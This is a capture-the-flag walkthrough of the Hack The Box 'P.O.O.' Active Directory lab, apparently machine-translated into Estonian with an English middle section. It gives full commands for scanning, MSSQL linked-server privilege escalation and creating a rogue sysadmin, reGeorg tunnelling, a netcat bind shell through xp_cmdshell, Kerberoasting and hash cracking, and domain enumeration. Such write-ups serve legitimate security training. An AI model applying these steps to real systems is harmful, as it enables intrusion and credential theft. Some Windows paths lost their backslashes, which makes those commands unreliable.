
Selles artiklis vaatleme mitte ainult masina, vaid terve mini-laboratooriumi lÀbimist saidilt .
Nagu on öeldud kirjelduse juures, on P.O.O. mĂ”eldud oskuste kontrollimiseks rĂŒnnakute kĂ”ikidel etappidel vĂ€ikestes Active Directory keskkondades. EesmĂ€rk on komprimeerida juurdepÀÀsetav host, tĂ”sta Ă”igusi ja lĂ”puks komprimeerida kogu domeeni, kogudes samal ajal 5 lippu.
Laboratooriumisse ĂŒhendamiseks kasutatakse VPN-i. Soovitame mitte ĂŒhenduda töökompuutri vĂ”i hostiga, kus on olulised andmed, kuna sisenete privaatvĂ”rku inimestega, kellel on oskused infotehnoloogia valdkonnas đ
Organisatsiooniline teave
Kuna saaksite teada uutest artiklitest, tarkvarast ja muust teabest, olen loonud ja infotehnoloogia ja kĂŒberturbe valdkonnas. Samuti vaatan teie isiklikke palveid, kĂŒsimusi, ettepanekuid ja soovitusi .
Kogu teave on esitatud ainult hariduslikel eesmÀrkidel. Selle dokumendi autor ei vastuta mitte mingite kahjude eest, mis vÔidakse kellelegi tekitada selle dokumendi kaudu saadud teadmiste ja meetodite kasutamise tulemusena.
Sissejuhatus
See lÔppkatse koosneb kahest masinast ja sisaldab 5 lippu.

Samuti antakse ĂŒlevaade ja juurdepÀÀsetava hosti aadress.

Alustame!
Recon lipp
Sellel masinal on IP-aadress 10.13.38.11, mille lisan /etc/hosts.
10.13.38.11 poo.htb
Esmalt skaneerime avatud porte. Kuna kĂ”igi portide skaneerimine nmapâiga vĂ”tab kaua aega, kasutan kĂ”igepealt masscan'i. Skaneerime kĂ”iki TCP ja UDP porte tun0 liidese kaudu kiirusel 500 paketti sekundis.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
NĂŒĂŒd saame teenuste kohta rohkem teavet, mis töötavad portides, kĂ€ivitades skaneerimise valikuga -A.
nmap -A poo.htb -p80,1433 
Nii saame IIS ja MSSQL teenuseid. Samuti selgub reaalne DNS-i nimi domeeni ja arvuti jaoks. Veebiserveril tervitab meid IIS-i peamine leht.

Vaadakem kaustu. Kasutan selleks gobusterit. Parameetrites mÀÀran voogude arvu 128 (-t), URL-i (-u), sÔnaraamatu (-w) ja laiendused, mis meid huvitavad (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Nii et me saame HTTP autentimise kaustas /admin, samuti saadaval oleva töölaudade teenuse failide jaoks .DS_Store. .DS_Store on failid, mis salvestavad kausta kasutaja seaded, nagu failide loend, ikoonide asukoht ja valitud taustapilt. Sellised failid vÔivad sattuda veebiserveri kausta veebiarendajate poolt. Seega saame teavet katalooge sisu kohta. Selleks saab kasutada .
python3 dsstore_crawler.py -i http://poo.htb/ 
Saame katalooge sisu. KĂ”ige huvitavam siin on kataloog /dev, kust saame kahes harus vaadata lĂ€htekode ja db-faile. Kuid me saame ainult 6 esimest sĂŒmbolit failide ja kaustade nimedest, kui teenus on IIS ShortName'i suhtes haavatav. Selle haavatavuse tuvastamiseks saab kasutada .

Ja leidub ĂŒks tekstifail, mis algab «poo_co». Mitte teadmata, mida edasi teha, valisin lihtsalt sĂ”nastikust kĂ”ik sĂ”nad, mis algavad «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtJa proovime wfuzziga.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Ja me leiame sobiva sÔna! Vaadake seda faili, salvestame volitused (arvestades DBNAME parameetrit, on need MSSQL-i omad).

Anname lipu ja liigume edasi 20%.

Huh lipp
Ăhendume MSSQL-iga, kasutan DBeaverit.

Selles andmebaasis ei leidu midagi huvitavat, loome SQL-toimetaja ja kontrollime, millised kasutajad on olemas.
SELECT name FROM master..syslogins; 
Meil on kaks kasutajat. Kontrollime oma Ôigusi.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Nii et Ă”igusi pole. Vaadake seotud servereid, sellest meetodist olen ma ĂŒksikasjalikult kirjutanud .
SELECT * FROM master..sysservers; 
Nii et leiame veel ĂŒhe SQL Serveri. Kontrollime, kas kĂ€skinud kĂ€skudega avatud pĂ€ringute juurde.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Ja me saame isegi ĂŒles ehitada pĂ€ringute puu.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');As it turns out, when we make a request to the linked server, the request is executed in the context of another user! Let's see which user's context we are working in on the linked server.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Now let's see in what context requests from the linked server to ours are executed!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Thus, this is the DBO context, which should have all the privileges. Let's check the privileges in case of a request from the linked server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
As you can see, we have all privileges! Let's create our own admin like this. But they won't allow it through openquery, so let's do it through EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";And now we connect with the new user's credentials, observing the new database flag.

Let's capture this flag and move on.

BackTrack flag
We will get a shell using MSSQL; I'm using mssqlclient from the impacket package.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
We need to obtain passwords, and the first thing we've encountered is the site. Therefore, we need the web server config (it seems we can't drop a convenient shell because a firewall is in place).

But access is denied. Although we can read files from MSSQL, we just need to know which programming languages are configured. And in the MSSQL directory, we find that Python is available.

Then reading the web.config file is no problem.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
With the found credentials, we will access /admin and retrieve the flag.


Foothold flag
Actually, there are some inconveniences with using the firewall, but while reviewing the network settings, we notice that an IPv6 hole is also used!

Let's add this address to /etc/hosts.
dead:babe::1001 poo6.htb
Skaneerime hosti uuesti, kuid nĂŒĂŒd IPv6 protokolli kaudu.

Ja WinRM teenus on saadaval ka IPv6 kaudu. Ăhendame leitud kasutajatunnustega.

Töölaual on lipp, anname selle Àra.

P00ned lip
Homme lĂ€bi hosti skaneerimise ei leia midagi erilist. SeetĂ”ttu otsustasime taas kasutajatunnuseid otsida (selle teemaga olen ma ka kirjutanud ). Kuid ma ei saanud kĂ”iki SPN-e sĂŒsteemist vĂ€lja WinRM-i kaudu.
setspn.exe -T intranet.poo -Q *
/* 
Hakkame kÀitama kÀsku lÀbi MSSQL.

Sel viisil saame SPN-id kasutajatelt p00_hr ja p00_adm, mis tĂ€hendab, et nad on haavatavad sellise rĂŒnnaku, nagu Kerberoasting, suhtes. LĂŒhidalt öeldes saame nende paroolide hashid.
Esiteks peame saama stabiilse shelli MSSQL kasutajana. Kuid kuna meil on ligipÀÀs piiratud, siis on meie ĂŒhendus hostiga saadaval ainult portide 80 ja 1433 kaudu. Kuid meil on vĂ”imalus tunnelda liiklust lĂ€bi port 80! Selleks kasutame . Laeme faili tunnel.aspx veebiserveri kodukatalooge â C:inetpubwwwroot.

Kuid kui proovime sellele juurde pÀÀseda, saame 404 vea. See tÀhendab, et failid *.aspx ei tööta. Et failid selle pikendusega töötaksid, installime ASP.NET 4.5 jÀrgmisel viisil.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Ja nĂŒĂŒd, kui pöördume tunnel.aspx poole, saame vastuse, et kĂ”ik on tööks valmis.
![]()
KĂ€ivitame rakenduse kliendi osa, mis tegeleb liikluste edastamisega. Suuname kogu liikluse serverilt 5432 porti.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Ja kasutame proxychains, et suunata iga rakenduse liiklust lÀbi meie proxy. Lisame selle proxy konfiguratsiooni faili /etc/proxychains.conf.

NĂŒĂŒd laadime serverisse programmi , mille abil teeme stabiilse bind shelli, ja skripti , millega teeme Kerberoastingu rĂŒnnaku.

NĂŒĂŒd kĂ€ivitame MSSQL kaudu kuulaja.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Ja ĂŒhendame meie proxy kaudu.
proxychains rlwrap nc poo.htb 4321 
Ja saame hashid.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
SeejĂ€rel tuleb need hashid lĂ€bi vaadata. Kuna rockyou paroolide sĂ”nastikus ei olnud, kasutasin KĂIKI Seclistsis pakutud paroolide sĂ”nastikke. Hashide murdmise jaoks kasutame hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceJa leiame mÔlemad paroolid, esimese failist dutch_passwordlist.txt ja teise failist Keyboard-Combinations.txt.


Ja nĂŒĂŒd on meil kolm kasutajat, liigume domeeni kontrolleri juurde. Esmalt saame teada selle aadressi.

SuurepĂ€rane, me oleme teada saanud domeeni kontrolleri IP-aadressi. Uurime nĂŒĂŒd kĂ”iki domeeni kasutajaid ning seda, kes neist on administraator. Laadime alla skripti PowerView.ps1, et teavet hankida. Siis ĂŒhendame evil-winrm-iga, mÀÀrates -s parameetrisse skripti kausta. Ja seejĂ€rel laadime skripti PowerView lihtsalt ĂŒles.

NĂŒĂŒd on meil kĂ”ik selle funktsioonid saadaval. Kasutaja p00_adm nĂ€ib olevat privileegidega, seega töötame tema kontekstis. Loome selle kasutaja jaoks PSCredential objekti.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassNĂŒĂŒd on kĂ”ik Powershelli kĂ€sud, kus me mÀÀrame Creds, tĂ€idetud p00_admi nimel. Vaatame kasutajate nimekirja ja atribuuti AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Ja meie kasutaja on tÔeliselt privileegidega. Vaatame, millistes gruppides ta on.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Kinnitame, et kasutaja on domeeni administraator. See annab talle Ôiguse kaug siseneda domeeni kontrollerisse. Proovime sisse logida WinRM-i kaudu, kasutades meie tunnelit. Mind hÀirisid reaGeorgi vead evil-winrm'i kasutamisel.

Kasutame siis teist, lihtsamat skripti WinRM-i ĂŒhendamiseks. Avame ja muudame ĂŒhenduse seadeid.

Proovime ĂŒhendust luua, ja me oleme sĂŒsteemis.

Aga lippu pole. Siis vaatame kasutajat ja kontrollime töölaudu.

Leidsime mr3ksilt lipu ja laboratoorium on 100% lÀbitud.

See ongi kĂ”ik. Tagasiside osana, palun kommenteerige â kas Ă”ppisite sellest artiklist midagi uut ja kas see oli teile kasulik.
Saate liituda meiega . Seal leiate huvitavaid materjale, lekkinud kursse ning tarkvara. Loome kogukonna, kus on inimesed, kes mĂ”istavad paljusid IT valdkondi, et saame alati ĂŒksteisele IT ja RIK kĂŒsimustes abi anda.
Allikas: habr.com
